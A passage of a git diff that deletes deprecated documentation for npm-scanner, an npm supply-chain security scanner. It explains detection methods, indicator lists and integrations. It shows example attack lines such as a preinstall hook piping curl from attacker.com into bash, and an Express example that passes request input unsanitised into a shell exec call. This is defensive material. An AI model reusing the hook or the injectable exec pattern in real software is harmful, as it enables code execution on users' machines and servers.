Purpose - -Generate comprehensive summary reports from full audit logs produced by recursive auditing. Aggregates findings across multiple projects into actionable reports. - -## Functionality - -### 8.1 Input Processing - -**Input File:** Full audit log (typically from audit-installed-packages.sh) - -**Default Paths:** -- Input: `/tmp/full-audit.log` -- Output: `audit-detailed-summary.txt` - -**Override:** -```bash -./generate-summary-report.sh -``` - -### 8.2 Report Sections - -**8.2.1 Header and Metadata** - -Extracts: -- Generation timestamp -- Scan duration -- Overall statistics (from log) - -**8.2.2 Overall Summary** - -Parses: -- Projects scanned count -- Clean projects count -- Suspicious projects count - -**Source Pattern:** -```bash -grep -A3 'Projects scanned:' "$AUDIT_LOG" -``` - -**8.2.3 Project Details** - -**For Each Project:** -1. Extract project number and path -2. Find associated findings (lifecycle scripts, warnings, etc.) -3. Extract summary status (clean/suspicious) - -**Implementation:** -```bash -grep -E '\[[0-9]+\] Auditing:' "$AUDIT_LOG" | while read line; do - PROJECT_NUM=$(echo "$line" | grep -oE '\[[0-9]+\]') - PROJECT_PATH=$(echo "$line" | sed 's/.*Auditing: //') - # Extract findings... -done -``` - -### 8.3 Aggregated Findings - -**8.3.1 Single Maintainer Packages** - -**Extraction:** -```bash -grep -oE 'ℹ Single maintainer: .+$' "$AUDIT_LOG" | \ - sed 's/ℹ Single maintainer: //' | \ - sort -u | nl -``` - -**Output Format:** -``` -SINGLE MAINTAINER PACKAGES (Informational) -------------------------------------------- - 1. package-name-1 - Maintainer Name (maintainer@example.com) - 2. package-name-2 - Maintainer Name (maintainer@example.com) - ... - -Total unique single-maintainer packages: 42 -``` - -**8.3.2 Lifecycle Scripts** - -**Extraction:** -```bash -grep -oE 'Found lifecycle scripts in: [^[:space:]]+' "$AUDIT_LOG" | \ - sed 's/Found lifecycle scripts in: //' | \ - sort -u | nl -``` - -**Output Format:** Similar to single maintainer list - -**8.3.3 Recently Created Packages** - -**Criteria:** < 30 days old - -**Extraction:** -```bash -grep -E 'Recently created package:' "$AUDIT_LOG" | \ - sed 's/.*Recently created package: //' | \ - sort -u -``` - -**8.3.4 Fetch Warnings** - -**Identifies:** Packages where npm registry fetch failed - -**Extraction:** -```bash -grep -E '⚠ Cannot fetch info for:' "$AUDIT_LOG" -``` - -### 8.4 Cache Statistics - -**Information:** -- Number of cached packages -- Cache location - -**Implementation:** -```bash -ls /tmp/.npm-audit-cache/ 2>/dev/null | wc -l -``` - -### 8.5 Recommendations - -**Logic:** -- If all clean → Success recommendations -- If issues found → Action recommendations - -**Standard Recommendations:** -- ✓ Continue weekly monitoring -- ✓ Keep dependencies updated -- ✓ Review lifecycle scripts periodically -- ✓ Single-maintainer info only (not a risk) - -### 8.6 Color Code Stripping - -**Purpose:** Clean output for text files - -**Implementation:** -```bash -sed 's/\x1b\[[0-9;]*m//g' -``` - -**Removes:** ANSI color codes - -## Input Parameters - -```bash -Usage: ./generate-summary-report.sh [audit-log-file] [output-file] - -Arguments: - audit-log-file # Input full audit log (default: /tmp/full-audit.log) - output-file # Output summary file (default: audit-detailed-summary.txt) - -Examples: - ./generate-summary-report.sh - ./generate-summary-report.sh full.log summary.txt - ./generate-summary-report.sh ~/logs/audit.log ~/reports/summary.txt -``` - -## Output Format - -**Summary Report Structure:** -``` -================================================ -NPM Security Audit - Detailed Summary Report -================================================ - -Generated: Thu Oct 31 23:13:04 PST 2025 -Scan Duration: 15m 42s - -================================================ -OVERALL SUMMARY -================================================ -Projects scanned: 47 -Clean projects: 45 -Suspicious projects: 2 - -================================================ -PROJECT DETAILS -================================================ - -[1] /home/user/projects/app1 - Found lifecycle scripts in: package-a - ℹ Single maintainer: package-b - Maintainer Name (maintainer@example.com) - Status: ✓ No obvious threats detected - -[2] /home/user/projects/app2 - ⚠ Warning detected - Status: ⚠ Found 1 suspicious indicator(s) - -================================================ -AGGREGATED FINDINGS ACROSS ALL PROJECTS -================================================ - -SINGLE MAINTAINER PACKAGES (Informational) -------------------------------------------- - 1. package-a - Maintainer Name (maintainer@example.com) - 2. package-b - Maintainer Name (maintainer@example.com) - ... - -Total unique single-maintainer packages: 12 - -PACKAGES WITH LIFECYCLE SCRIPTS -------------------------------------------- - 1. package-c - 2. package-d - ... - -Total unique packages with lifecycle scripts: 8 - -================================================ -CACHE STATISTICS -================================================ -Packages cached: 156 -Cache location: /tmp/.npm-audit-cache/ - -================================================ -RECOMMENDATIONS -================================================ -✓ All projects passed security audit -✓ Continue monitoring with regular scans (weekly recommended) -✓ Keep dependencies updated -✓ Review lifecycle scripts in dependencies periodically -✓ Single-maintainer packages are informational only - not a security risk -``` - -## Performance Characteristics - -- **Processing Time:** < 5 seconds for 1000+ line logs -- **Memory Usage:** Minimal (stream processing) -- **Scalability:** Handles multi-megabyte log files - -## Use Cases - -1. **Post-Scan Analysis:** `./generate-summary-report.sh` -2. **Custom Reporting:** `./generate-summary-report.sh scan.log report.txt` -3. **CI/CD Artifacts:** Generate executive summaries - ---- - -[← Back to credential-rotation-script.sh](credential-rotation-script.md) | [Next: npmrc-security-config.sh →](npmrc-security-config.md) - diff --git a/deprecated/docs-v1/how-it-works.md b/deprecated/docs-v1/how-it-works.md deleted file mode 100644 index d3d440f..0000000 --- a/deprecated/docs-v1/how-it-works.md +++ /dev/null @@ -1,164 +0,0 @@ -# How npm-scanner Works - -npm-scanner was inspired by the [PhantomRaven](https://www.reversinglabs.com/blog/phantomraven-technical-analysis-reveals-npm-malware-lurking-in-legacy-dependencies) attack, which demonstrated how malicious packages can bypass traditional security tools by fetching code from external URLs rather than the npm registry. - -## The Problem - -npm's built-in `npm audit` checks packages against a database of known vulnerabilities (CVEs). But supply chain attacks often use brand new malicious packages that aren't in any database yet. - -npm-scanner catches these attacks by analyzing package behavior and metadata for suspicious patterns. - -## What npm-scanner Detects - -### 1. URL Dependencies (Critical) - -**The attack:** Instead of publishing malicious code to npm, attackers specify an HTTP URL in `package.json`: - -```json -{ - "dependencies": { - "evil-package": "http://attacker.com/malware.tgz" - } -} -``` - -npm fetches and installs this tarball without any registry validation. - -**Detection:** npm-scanner scans `package.json` and `package-lock.json` for any HTTP/HTTPS URLs in dependency specifications. - -### 2. Lifecycle Script Attacks (High) - -**The attack:** Packages can run arbitrary code during installation via lifecycle scripts: - -```json -{ - "scripts": { - "preinstall": "curl http://attacker.com/steal.sh | bash" - } -} -``` - -This runs automatically when you `npm install`, with access to your files, environment variables, and credentials. - -**Detection:** npm-scanner identifies packages with lifecycle scripts (`preinstall`, `install`, `postinstall`) and flags suspicious ones based on: -- Package age (new packages are higher risk) -- Download count (low downloads = less community vetting) -- Maintainer count (single maintainer = higher bus factor risk) - -### 3. Typosquatting (Medium) - -**The attack:** Attackers publish packages with names similar to popular ones: -- `lodahs` instead of `lodash` -- `reqeusts` instead of `requests` -- `@types/recat` instead of `@types/react` - -Developers install these by accident, or AI assistants recommend them (slopsquatting). - -**Detection:** npm-scanner compares package names against 28 popular packages using Levenshtein distance (edit distance <= 2) to flag potential typosquats. The list includes: express, react, vue, angular, lodash, axios, webpack, babel, eslint, typescript, prettier, jest, mocha, chalk, moment, uuid, commander, debug, request, async, bluebird, underscore, q, colors, minimist, yargs, glob, and rimraf. - -### 4. Suspicious Metadata (Low-Medium) - -**Risk indicators:** -- **Recently created packages** - Attacks often use brand new packages -- **Single maintainer** - Higher risk if that account is compromised -- **Low downloads** - Less community scrutiny -- **Missing repository** - Legitimate packages usually link to source code - -**Detection:** npm-scanner queries the npm registry API for package metadata and calculates a risk score based on these factors. - -### 5. Known Malicious Domains - -**Detection:** npm-scanner maintains a list of domains associated with known attacks (e.g., PhantomRaven's `storeartifact.com`) and flags any references to them. - -### 6. Known Malicious IP Addresses - -**Detection:** npm-scanner checks for IP addresses associated with known attack infrastructure. These may appear in: -- Dependency URLs (e.g., `http://54.173.15.59/malware.tgz`) -- Network connections during installation -- Hardcoded addresses in package code - -Current IOCs: -- `54.173.15.59` - PhantomRaven infrastructure - -### 7. Attacker Pattern Detection - -**Detection:** npm-scanner checks maintainer usernames and emails against known attacker patterns from previous campaigns: - -- `jpdtester\d+` - Numbered test accounts used in PhantomRaven -- `npmhell` - Known attacker alias -- `npmpackagejpd` - PhantomRaven-associated pattern - -Matches trigger a CRITICAL risk finding with 100 points. - -## What npm-scanner Does NOT Do - -- **Replace `npm audit`** - Run both. `npm audit` catches known CVEs; npm-scanner catches unknown attacks. -- **Guarantee safety** - No tool catches everything. npm-scanner reduces risk but isn't foolproof. -- **Block installations** - It reports findings; you decide what to do. -- **Scan code** - It analyzes metadata and package.json, not the actual JavaScript code. - -## Risk Scoring - -Each package gets a risk score (0-100) based on weighted factors: - -| Factor | Points | Severity | -|--------|--------|----------| -| Known malicious domain | +100 | Critical | -| Known malicious IP | +100 | Critical | -| Attacker pattern match | +100 | Critical | -| HTTP URL dependency | +50 | Critical | -| Lifecycle scripts | +10-30 | Medium-High | -| Typosquatting match | +30 | High | -| Recently created (<30 days) | +20 | Medium | -| Low downloads (<1000/week) | +15 | Medium | -| Single maintainer | +10 | Low | - -**Risk levels:** -- 0-25: Low risk -- 26-50: Medium risk -- 51-75: High risk -- 76+: Critical risk - -## Limitations - -### False Positives - -Some legitimate packages trigger warnings: -- **Lifecycle scripts** - Many packages (esbuild, prisma, puppeteer) legitimately need post-install scripts -- **Single maintainer** - Popular packages like `chalk` and `zod` have single maintainers -- **Low downloads** - New but legitimate packages start with zero downloads - -npm-scanner provides information; use judgment when reviewing results. - -### False Negatives - -npm-scanner may miss: -- Sophisticated attacks that don't match known patterns -- Malicious code hidden in legitimate-looking packages -- Compromised maintainer accounts publishing to established packages - -### Scope - -npm-scanner analyzes: -- Package metadata from npm registry -- `package.json` and `package-lock.json` contents -- Dependency specifications - -It does NOT analyze: -- Actual JavaScript/TypeScript source code -- Runtime behavior -- Network traffic (except via the separate `npm-install-monitor.js` tool) - -## Comparison with npm audit - -| Feature | npm audit | npm-scanner | -|---------|-----------|-------------| -| Known CVEs | ✓ | ✗ | -| URL dependencies | ✗ | ✓ | -| Lifecycle script analysis | ✗ | ✓ | -| Typosquatting detection | ✗ | ✓ | -| Metadata analysis | ✗ | ✓ | -| Requires internet | ✓ | ✓ | -| Zero dependencies | ✗ | ✓ | - -**Recommendation:** Run both tools. They catch different classes of attacks. diff --git a/deprecated/docs-v1/integration-guidelines.md b/deprecated/docs-v1/integration-guidelines.md deleted file mode 100644 index f15fb8e..0000000 --- a/deprecated/docs-v1/integration-guidelines.md +++ /dev/null @@ -1,342 +0,0 @@ -# Integration Guidelines - -## CI/CD Integration - -### GitHub Actions - -**Example Workflow:** - -```yaml -name: Security Audit - -on: - push: - branches: [main, develop] - pull_request: - branches: [main] - schedule: - - cron: '0 2 * * 1' # Weekly Monday 2 AM - -jobs: - security-audit: - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v3 - - - name: Setup Node.js - uses: actions/setup-node@v3 - with: - node-version: '18' - - - name: Install jq - run: sudo apt-get install -y jq - - - name: Run npm security audit - run: | - chmod +x ./npm-scanner.sh - ./npm-scanner.sh scan --project . - - - name: Validate new dependencies - if: github.event_name == 'pull_request' - run: | - # Extract new dependencies from package.json diff - git diff origin/main package.json | \ - grep '^\+.*"' | \ - grep -v '^\+\+\+' | \ - sed 's/.*"\(.*\)".*/\1/' | \ - while read pkg; do - ./npm-scanner.sh validate "$pkg" || exit 1 - done - - - name: Upload audit reports - if: always() - uses: actions/upload-artifact@v3 - with: - name: security-audit-reports - path: | - npm-audit-results-*/ - npm-install-log.json -``` - -### GitLab CI - -```yaml -security-audit: - stage: test - image: node:18 - before_script: - - apt-get update && apt-get install -y jq - script: - - chmod +x ./npm-scanner.sh - - ./npm-scanner.sh scan --project . - artifacts: - when: always - paths: - - npm-audit-results-*/ - expire_in: 1 week - only: - - merge_requests - - main -``` - -### Jenkins Pipeline - -```groovy -pipeline { - agent any - - stages { - stage('Security Audit') { - steps { - sh ''' - chmod +x ./npm-scanner.sh - ./npm-scanner.sh scan --project . - ''' - } - } - - stage('Package Validation') { - when { - changeRequest() - } - steps { - sh ''' - git diff origin/main package.json | \ - grep '^\+.*"' | \ - sed 's/.*"\\(.*\\)".*/\\1/' | \ - while read pkg; do - ./npm-scanner.sh validate "$pkg" || exit 1 - done - ''' - } - } - } - - post { - always { - archiveArtifacts artifacts: 'npm-audit-results-*/**', allowEmptyArchive: true - } - } -} -``` - -## Pre-Commit Hooks - -**Husky + npm-scanner:** - -**File:** `.husky/pre-commit` - -```bash -#!/bin/sh -. "$(dirname "$0")/_/husky.sh" - -# Check if package.json was modified -if git diff --cached --name-only | grep -q "package.json"; then - echo "Validating package.json changes..." - - # Run security audit - ./npm-scanner.sh scan --project . || { - echo "Security audit failed. Commit aborted." - exit 1 - } - - # Validate new dependencies - git diff --cached package.json | \ - grep '^\+.*"' | \ - sed 's/.*"\(.*\)".*/\1/' | \ - while read pkg; do - ./npm-scanner.sh validate "$pkg" || exit 1 - done -fi -``` - -## Scheduled Scanning - -### Cron - -**System-wide:** - -**File:** `/etc/cron.d/npm-security-audit` - -```cron -# NPM Security Audit - Weekly -0 2 * * 1 user /path/to/scheduled-audit-script.sh >> /var/log/npm-audit.log 2>&1 - -# NPM Security Audit - Daily -0 2 * * * user /path/to/scheduled-audit-script.sh >> /var/log/npm-audit.log 2>&1 -``` - -**User crontab:** - -```bash -crontab -e -``` - -```cron -0 2 * * 1 /Users/user/npm-scanner/scripts/scheduled-audit-script.sh -``` - -### systemd Timer - -**File:** `/etc/systemd/system/npm-audit.service` - -```ini -[Unit] -Description=NPM Security Audit -After=network.target - -[Service] -Type=oneshot -User=user -ExecStart=/path/to/scheduled-audit-script.sh -StandardOutput=journal -StandardError=journal -``` - -**File:** `/etc/systemd/system/npm-audit.timer` - -```ini -[Unit] -Description=NPM Security Audit Timer -Requires=npm-audit.service - -[Timer] -OnCalendar=Mon *-*-* 02:00:00 -Persistent=true - -[Install] -WantedBy=timers.target -``` - -**Enable:** -```bash -sudo systemctl enable npm-audit.timer -sudo systemctl start npm-audit.timer -``` - -## Monitoring Integration - -### Slack Notifications - -**Function:** `send_slack_alert()` in `scheduled-audit-script.sh` - -**Configuration:** - -```bash -# ~/.npm-audit-config -ALERT_SLACK_WEBHOOK="https://hooks.slack.com/services/YOUR/WEBHOOK/URL" -``` - -**Payload Format:** -```json -{ - "attachments": [{ - "color": "danger", - "title": "NPM Security Audit Alert", - "text": "2 suspicious projects detected", - "footer": "NPM Security Scanner", - "ts": 1698796800 - }] -} -``` - -### Email Alerts - -**Configuration:** - -```bash -# ~/.npm-audit-config -ALERT_EMAIL="security@company.com" -``` - -**Requirements:** -- `mail` or `sendmail` command -- Configured mail transfer agent - -## IDE Integration - -### VS Code - -**Task:** `.vscode/tasks.json` - -```json -{ - "version": "2.0.0", - "tasks": [ - { - "label": "NPM Security Audit", - "type": "shell", - "command": "./npm-scanner.sh scan --project .", - "problemMatcher": [], - "presentation": { - "reveal": "always", - "panel": "new" - } - }, - { - "label": "Validate Package", - "type": "shell", - "command": "./npm-scanner.sh validate ${input:packageName}", - "problemMatcher": [] - } - ], - "inputs": [ - { - "id": "packageName", - "type": "promptString", - "description": "Enter package name to validate" - } - ] -} -``` - -**Run:** `Cmd/Ctrl+Shift+P` → "Tasks: Run Task" → "NPM Security Audit" - -## API Integration - -### Express.js Example - -```javascript -const express = require('express'); -const { exec } = require('child_process'); -const util = require('util'); - -const execPromise = util.promisify(exec); -const app = express(); - -app.post('/api/validate-package', async (req, res) => { - const { packageName } = req.body; - - try { - const { stdout, stderr } = await execPromise( - `./npm-scanner.sh validate ${packageName}` - ); - - res.json({ - success: true, - package: packageName, - report: stdout - }); - } catch (error) { - res.status(400).json({ - success: false, - package: packageName, - error: error.message, - report: error.stdout - }); - } -}); - -app.listen(3000); -``` - ---- - -[← Back to Output Formats](output-formats.md) | [Next: Appendix →](appendix.md) - - - - - - diff --git a/deprecated/docs-v1/migration-to-unified-audit.md b/deprecated/docs-v1/migration-to-unified-audit.md deleted file mode 100644 index 189909a..0000000 --- a/deprecated/docs-v1/migration-to-unified-audit.md +++ /dev/null @@ -1,160 +0,0 @@ -# Migration Guide: Unified Audit Tool - -This guide helps you migrate from `recursive-audit-script.sh` to the new unified `npm-scanner.sh scan --project` command. - -## Overview - -The functionality of `recursive-audit-script.sh` has been consolidated into `npm-scanner.sh scan --project`. This provides: - -- **Code reuse** - Shared library eliminates duplication -- **Consistent reports** - Same format across all scan types -- **Easier maintenance** - Single tool to maintain -- **All features preserved** - No functionality lost - -## Quick Migration - -### Basic Usage - -**Old:** -```bash -./recursive-audit-script.sh ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project ~/projects -``` - -## Command Mapping - -### Options Mapping - -| Old (recursive-audit-script.sh) | New (npm-scanner.sh scan --project) | -|----------------------------------|----------------------------------------------| -| `-d N` or `--max-depth N` | `--max-depth N` | -| `-e PATTERN` or `--exclude PATTERN` | `-e PATTERN` or `--exclude PATTERN` | -| `-o DIR` or `--output DIR` | `-o DIR` or `--output DIR` | -| `-s` or `--summary-only` | `-s` or `--summary` | -| `-p` or `--parallel` | `--parallel` | -| `-n N` or `--limit N` | `-n N` or `--limit N` | -| `-r` or `--random` | `-r` or `--random` | -| `-h` or `--help` | `-h` or `--help` | - -### Examples - -#### Basic Project Scan - -**Old:** -```bash -./recursive-audit-script.sh ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project ~/projects -``` - -#### With Depth Limit - -**Old:** -```bash -./recursive-audit-script.sh -d 5 ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project --max-depth 5 ~/projects -``` - -#### With Exclusions - -**Old:** -```bash -./recursive-audit-script.sh -e test -e dist ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project -e test -e dist ~/projects -``` - -#### Summary Mode - -**Old:** -```bash -./recursive-audit-script.sh -s ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project --summary ~/projects -``` - -#### Parallel Execution - -**Old:** -```bash -./recursive-audit-script.sh -p ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project --parallel ~/projects -``` - -#### Limit and Random Sampling - -**Old:** -```bash -./recursive-audit-script.sh -n 10 -r ~/projects -``` - -**New:** -```bash -./npm-scanner.sh scan --project -n 10 -r ~/projects -``` - -## Report Changes - -### Output Directory - -- **Old:** `npm-audit-results-TIMESTAMP/` -- **New:** `npm-audit-projects-TIMESTAMP/` - -### Report Files - -- **Old:** `audit-results.txt`, `audit-results-detailed.txt`, `audit-results-full.log` -- **New:** `audit-report.md`, `maintainer-data.tsv` - -The new report format is more comprehensive and consistent with package scan reports. - -## What's Preserved - -All features from `recursive-audit-script.sh` are available in the new tool: - -- ✅ Recursive project scanning -- ✅ Configurable depth limits -- ✅ Exclusion patterns -- ✅ Parallel execution -- ✅ Summary mode -- ✅ Sampling options (limit, random) -- ✅ Cross-project maintainer analysis -- ✅ Comprehensive reporting - -## What's Improved - -- ✅ Consistent report format across all scan types -- ✅ Better maintainer aggregation across projects -- ✅ Shared code reduces bugs and improves maintenance -- ✅ Template system for flexible reporting - -## Backward Compatibility - -The old `recursive-audit-script.sh` script now shows a deprecation notice and migration guide. It will exit with code 1, pointing users to the new unified tool. - -## Need Help? - -- See `./npm-scanner.sh scan --help` for all options -- See [audit-installed-packages.md](audit-installed-packages.md) for detailed documentation -- See [Issue #9](https://github.com/virtualian/npm-scanner/issues/9) for technical details - diff --git a/deprecated/docs-v1/npm-install-monitor.md b/deprecated/docs-v1/npm-install-monitor.md deleted file mode 100644 index 6dd1f0f..0000000 --- a/deprecated/docs-v1/npm-install-monitor.md +++ /dev/null @@ -1,220 +0,0 @@ -# npm-install-monitor.js - -> **DEPRECATED:** This script has been moved to `deprecated/npm-install-monitor.js`. -> -> **Reason:** Not integrated into the main `npm-scanner.sh` workflow and provides limited value over the `scan` commands. The network monitoring approach requires platform-specific tooling (lsof) and real-time process management that doesn't fit the project's Bash-based architecture. -> -> For pre-installation security checks, use `npm-scanner.sh validate ` instead. - -**Type:** Real-Time Installation Monitor -**Language:** Node.js -**Location:** `deprecated/npm-install-monitor.js` -**Dependencies:** child_process, fs, lsof (Unix) - ---- - -## Purpose - -Monitor network activity during package installation to detect suspicious connections and malicious behavior in real-time. Creates isolated test environment to safely observe package behavior. - -## Functionality - -### 6.1 Test Environment Management - -**Isolation Strategy:** -```javascript -const testDir = path.join(process.cwd(), '.npm-security-test'); -fs.mkdirSync(testDir); -fs.writeFileSync( - path.join(testDir, 'package.json'), - JSON.stringify({ name: 'security-test', version: '1.0.0' }) -); -``` - -**Purpose:** -- Prevents contamination of actual project -- Enables safe observation -- Automatic cleanup post-installation - -### 6.2 Network Monitoring - -**6.2.1 Unix/Linux/macOS Implementation** - -**Command:** -```bash -lsof -i -P -n | grep node | grep ESTABLISHED -``` - -**Monitoring Loop:** -- Polls every 0.5 seconds -- Captures active connections -- Parses host:port information - -**6.2.2 Connection Analysis** - -**Trusted Registries:** -```javascript -const TRUSTED_REGISTRIES = [ - 'registry.npmjs.org', - 'registry.yarnpkg.com', - 'npm.pkg.github.com' -]; -``` - -**Known Malicious:** -```javascript -const KNOWN_MALICIOUS = [ - 'packages.storeartifact.com', - 'storeartifact.com' -]; -``` - -**Classification Logic:** -```javascript -if (isMalicious) { - // MALICIOUS: Known bad infrastructure - console.log('🚨 MALICIOUS CONNECTION DETECTED'); -} else if (!isTrusted && !isLocalhost) { - // SUSPICIOUS: Non-registry connection - console.log('⚠️ Suspicious connection'); -} else { - // TRUSTED: Normal operation - console.log('✓ Trusted connection'); -} -``` - -### 6.3 NPM Output Analysis - -**URL Extraction:** -```javascript -const httpMatches = data.toString().match(/https?:\/\/[^\s]+/g); -``` - -**Purpose:** Detect URLs mentioned in npm install output - -**Classification:** -- Malicious domain → Alert -- Non-registry URL → Log as suspicious -- Trusted registry → Accept - -### 6.4 Data Collection - -**Request Tracking:** -```javascript -suspiciousRequests.push({ - type: 'MALICIOUS' | 'SUSPICIOUS' | 'NON_REGISTRY_URL', - host: 'hostname', - port: 'port', - url: 'full_url', - timestamp: 'ISO-8601' -}); -``` - -**Deduplication:** Tracks `allRequests[]` to prevent duplicate alerts - -### 6.5 Report Generation - -**Console Report:** -``` -═══════════════════════════════════════════════ -Installation Complete -═══════════════════════════════════════════════ - -📊 Total unique connections: 12 -⚠️ Suspicious/Malicious requests: 2 - -🚨 SECURITY ALERT: Suspicious activity detected! - -Suspicious requests: - 1. [MALICIOUS] - Host: packages.storeartifact.com:443 - Time: 2025-10-31T23:13:04.567Z - -⚠️ RECOMMENDED ACTIONS: - 1. DO NOT use this package - 2. Delete the test directory - 3. Rotate all credentials (npm, GitHub, etc.) - 4. Report to npm security: npm@npmjs.com - 5. Check your system for compromise -``` - -**JSON Log (`npm-install-log.json`):** -```json -{ - "package": "malicious-pkg", - "timestamp": "2025-10-31T23:13:04.567Z", - "exitCode": 0, - "totalConnections": 12, - "suspiciousCount": 2, - "suspiciousRequests": [ - { - "type": "MALICIOUS", - "host": "packages.storeartifact.com", - "port": "443", - "timestamp": "2025-10-31T23:13:04.567Z" - } - ], - "allConnections": ["104.17.32.83:443", "..."], - "installOutput": "npm install output (truncated to 5000 chars)" -} -``` - -### 6.6 Cleanup - -**Automatic:** -```javascript -fs.rmSync(testDir, { recursive: true, force: true }); -``` - -**Timing:** After installation completes and report is generated - -## Input Parameters - -```bash -Usage: node npm-install-monitor.js - -Arguments: - package-name # Name of package to monitor - -Examples: - node npm-install-monitor.js express - node npm-install-monitor.js suspicious-package -``` - -## Output Format - -**Exit Codes:** -- `0`: No suspicious activity detected -- `1`: Suspicious activity detected or error - -**Files Created:** -- `npm-install-log.json`: Detailed log (permanent) -- `.npm-security-test/`: Test directory (automatically deleted) - -## Performance Characteristics - -- **Overhead:** ~100-200ms monitoring overhead -- **Real-time:** 0.5 second polling interval -- **Compatibility:** Unix-like systems only (lsof dependency) - -## Platform Support - -- ✅ macOS -- ✅ Linux -- ❌ Windows (network monitoring disabled, URL analysis only) - -## Use Cases - -1. **Suspect Package:** `node npm-install-monitor.js questionable-pkg` -2. **AI-Recommended Package:** Validate before trusting -3. **Investigation:** Forensic analysis of package behavior - ---- - -[← Back to package-validator.js](package-validator.md) | [Next: credential-rotation-script.sh →](credential-rotation-script.md) - - - - - - diff --git a/deprecated/docs-v1/npm-scanner.md b/deprecated/docs-v1/npm-scanner.md deleted file mode 100644 index 29c8d4c..0000000 --- a/deprecated/docs-v1/npm-scanner.md +++ /dev/null @@ -1,198 +0,0 @@ -# npm-scanner.sh - -**Type:** Main CLI Entry Point -**Language:** Bash -**Dependencies:** Scripts in `scripts/` directory - ---- - -## Purpose - -Single entry point for all npm-scanner functionality. Provides a unified interface for scanning packages and validating dependencies. - -## Commands - -### scan - -Scan installed packages or project dependencies for security issues. - -```bash -./npm-scanner.sh scan [options] [path] -``` - -**Modes:** -- `--global` - Scan globally installed npm packages -- `--local ` - Scan node_modules directories under path -- `--project ` - Scan package.json files under path - -**Options:** -- `-d, --depth N` - Maximum depth for node_modules scanning (default: 10) -- `-e, --exclude DIR` - Exclude directories (repeatable) -- `--parallel` - Run audits in parallel (project mode only) -- `-s, --summary` - Summary mode output -- `-n, --limit N` - Limit number of packages to scan -- `-r, --random` - Random sampling instead of sequential -- `-v, --verbose` - Show detailed IOC checks during scan -- `-o, --output DIR` - Output directory for reports -- `--yes` - Skip confirmation prompts - -**Examples:** -```bash -# Scan global packages -./npm-scanner.sh scan --global - -# Scan project dependencies -./npm-scanner.sh scan --project ~/code - -# Quick summary scan -./npm-scanner.sh scan --project --summary ~/code - -# Limit to 10 random packages -./npm-scanner.sh scan --global -n 10 -r - -# CI/CD usage (no prompts) -./npm-scanner.sh scan --project --yes . -``` - -### cache - -Manage the npm metadata cache. - -```bash -./npm-scanner.sh cache [options] -``` - -**Options:** -- `--status` - Show cache statistics (default) -- `--clear` - Clear all cached data -- `--clear-expired` - Clear only expired cache entries - -**Example output:** -``` -npm-scanner Cache Status -======================== -Location: /Users/you/.npm-scanner/cache -Packages: 119 cached -Size: 4.5 MB / 200 MB limit -Expiration: 3 days -``` - -**Environment Variables:** -- `NPM_SCANNER_CACHE_MAX_SIZE_MB` - Maximum cache size in MB (default: 200) -- `NPM_SCANNER_CACHE_MAX_AGE_DAYS` - Cache expiration in days (default: 3) - -### list-iocs - -Display all current indicators of compromise (IOCs) without running a scan. - -```bash -./npm-scanner.sh list-iocs -``` - -Shows: -- Malicious domains being checked -- Malicious IP addresses being checked -- Attacker username/email patterns -- Typosquatting target packages - -**Example output:** -``` -npm-scanner 1.1.0 - Indicators of Compromise - -Malicious Domains (2): - - packages.storeartifact.com - - storeartifact.com - -Malicious IPs (1): - - 54.173.15.59 - -Attacker Patterns (3): - - jpdtester[0-9]+ - - npmhell - - npmpackagejpd - -Typosquatting Targets (28): - express, react, vue, angular, lodash, ... -``` - -### validate - -Check a package before installation. - -```bash -./npm-scanner.sh validate -``` - -Queries the npm registry and analyzes: -- Package age and creation date -- Maintainer count and identity -- Download statistics -- Typosquatting potential -- Known malicious indicators - -**Examples:** -```bash -# Validate a package -./npm-scanner.sh validate lodash - -# Validate a scoped package -./npm-scanner.sh validate @types/node -``` - -**Exit codes:** -- `0` - Low risk -- `1` - Medium or higher risk, or validation failed - -### help - -Show usage information. - -```bash -./npm-scanner.sh help -./npm-scanner.sh --help -./npm-scanner.sh -h -``` - -## Output - -### Scan Reports - -Reports are saved to `reports/packages-TIMESTAMP/`: - -``` -reports/packages-2025-01-15-10h30m00s+0000-UTC/ -├── audit-report.md # Summary with all findings -├── .work-files/ -│ └── maintainer-data.tsv # Maintainer analytics -└── node--*.md # Per-package details -``` - -### Validate Output - -Validation results are printed to stdout with: -- Risk score (0-100) -- Risk level (LOW, MEDIUM, HIGH, CRITICAL) -- Individual findings with explanations -- Recommendation - -## Environment Variables - -- `NPM_SCANNER_CACHE_MAX_SIZE_MB` - Maximum cache size in MB (default: 200) -- `NPM_SCANNER_CACHE_MAX_AGE_DAYS` - Cache expiration in days (default: 3) - -## Exit Codes - -| Code | Meaning | -|------|---------| -| 0 | Success / No threats found / Low risk | -| 1 | Threats found / Higher risk / Error | - -## Related Documentation - -- [How It Works](how-it-works.md) - Detection methods explained -- [audit-installed-packages.sh](audit-installed-packages.md) - Underlying scan implementation -- [package-validator.js](package-validator.md) - Underlying validation implementation - ---- - -[← Back to Documentation Index](README.md) diff --git a/deprecated/docs-v1/npm-security-audit.md b/deprecated/docs-v1/npm-security-audit.md deleted file mode 100644 index c1b5264..0000000 --- a/deprecated/docs-v1/npm-security-audit.md +++ /dev/null @@ -1,111 +0,0 @@ -# npm-security-audit.sh - -**Type:** Core Security Scanner -**Language:** Bash -**Dependencies:** jq, npm, node - ---- - -## Purpose - -Primary security auditing script that analyzes a single Node.js project for common supply chain attack indicators and malicious package patterns. - -## Functionality - -### 1.1 HTTP/HTTPS URL Dependency Detection - -- **Scans:** `package.json`, `package-lock.json` -- **Detects:** Remote Dynamic Dependencies (HTTP/HTTPS URLs in dependency fields) -- **Excludes:** Trusted registries (registry.npmjs.org, registry.yarnpkg.com) -- **Risk Level:** HIGH - -**Technical Implementation:** -```bash -grep -E '"(dependencies|devDependencies|peerDependencies)"' package.json | \ - grep -E 'http://|https://' -``` - -### 1.2 Lifecycle Script Analysis - -- **Scans:** All `package.json` files in `node_modules` -- **Targets:** preinstall, install, postinstall scripts -- **Purpose:** Identify packages that execute code during installation -- **Output:** Package name and script contents - -**Technical Implementation:** -```bash -find node_modules -name "package.json" | while read pkg; do - jq -r '.scripts | select(. != null) | keys[]' "$pkg" | \ - grep -E '^(pre|post)?install$' -done -``` - -### 1.3 Package Metadata Analysis - -**Checks:** -- **Package Age**: Flags packages < 30 